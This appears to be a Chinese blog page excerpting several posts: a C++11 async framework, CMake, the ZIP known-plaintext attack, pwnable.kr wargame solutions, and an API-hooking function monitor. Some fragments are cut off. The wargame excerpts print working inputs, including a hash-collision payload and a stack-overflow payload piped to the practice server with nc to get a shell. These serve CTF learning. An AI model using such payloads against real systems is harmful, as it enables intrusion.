之前公司项目中一直没有方便好用的异步编程框架，在开发过程中会遇到一些问题。比如多线程编码时开发需要自己管理线程，并在两侧同步数据。一些操作也会被直接放在主线程中，就算单个操作的耗时并不明显，长此以往也会积少成多，最终拖慢了 UI 的速度。
但好在公司的代码库已经支持 C++11，我们基于 C++11 开发了一个仅使用标准库的框架。这样既能简化业务开发时的代码工作量，也可以提高代码的可读性，而且使用 std 组件实现也方便支持所有平台。更进一步的话还可以给框架加入其他支持，如：
构建系统描述了如何使用构建工具从项目的源代码构建项目的可执行文件和库，从而自动执行该过程。例如，构建系统可以是用于命令行 make 工具的 Makefile 或用于集成开发环境的项目文件。为了避免维护多个这样的构建系统，项目可以使用以 CMake 语言编写的文件抽象地指定其构建系统。从这些文件中，CMake 通过称为生成器的后端为每个使用者在本地生成一个首选的构建系统。
另外，在 c++ 代码的跨平台使用中，包括增减文件在内，任何其他涉及项目工程的改动都要各个平台的开发同步处理各自平台的工程。而一旦某个平台没有及时更新项目文件就可能会导致 CI/CD 自动化流程失败，非常影响工作效率。
为避免费时费力地维护多个这样的构建系统，可以选择用 CMake 对其进行抽象。这样我们只需要维护一个 CMakeLists.txt，它就可以为你生成指定的 vcxproj 文件或者 makefile 文件。然后调用 MSBuild 或者 make 进行编译就可以。
在看 CTF 时发现了 zip 明文攻击的攻击方式，然而举的例子里基本都是使用工具——也就是 ARCHPR 简单完成破解，转而进行下一步操作，对明文攻击本身并没有做更多解释。本想看看 ARCHPR 的明文攻击实现的，结果发现这东西是商业软件……于是开始找其他资料。
简单搜了一圈发现这种攻击是基于 Biham 和 Kocher 在 94 年发表的论文《A Known Plaintext Attack on the PKZIP Stream Cipher》实现的。
明文攻击主要利用大于 12 字节的一段已知明文数据进行攻击，从而获取整个加密文档的数据。也就是说，如果我手里有一个未知密码的压缩包和压缩包内某个文件的一部分明文（不一定非要从头开始，能确定偏移就行），那么我就可以通过这种攻击来解开整个压缩包。比如压缩包里有一个常见的 license 文件，或者是某个常用的 dll 库，或者是带有固定头部的文件（比如 xml、exe、png 等容易推导出原始内容的文件），那么就可以运用这种攻击。当然，前提是压缩包要用 ZipCrypto 加密。
关键在于 pc 的计算。不像 x86 里 pc 总是指向下一条指令的地址，ARM 中的 pc 是下下条。假设当前指令地址为 x，即
按这个规则计算得到 key1() + key2() + key3() = 0x8ce4 + 0x8d0c + 0x8d80 = 0x1A770，输入就好了
108400
因为运算符优先级问题，fd 被赋值成 0，也就是 stdin，和 password 文件就没有关系了，可以输入
1111111111 0000000000
./col "$(python -c 'from struct import pack;print "0"*16 + pack("<I", 0x611c492c)')"
一开始不熟悉输入处理，花了不少时间……echo 后面追加 cat 可以使输入流关闭，成功获得 shell。（PS：一开始拿到了 shell 还不自知……）不加 cat 的话则会提示 *** stack smashing detected ***: terminated
(echo "$(python -c 'from struct import pack;print "A"*52 + pack("<I", 0xcafebabe)')";cat) | nc pwnable.kr 9000
函数监视器可以监视代码中对外部函数的调用情况，通过这些调用信息可以让我们方便理解程序的意图。
类似的实现思路可以用 dll 转发或者微软的 detour 库实现 api hook。
最近我自己写了一个函数监视器，可以监视进程内所有模块导出函数的调用情况，并且可以自行选择需要监视和设置断点的函数。
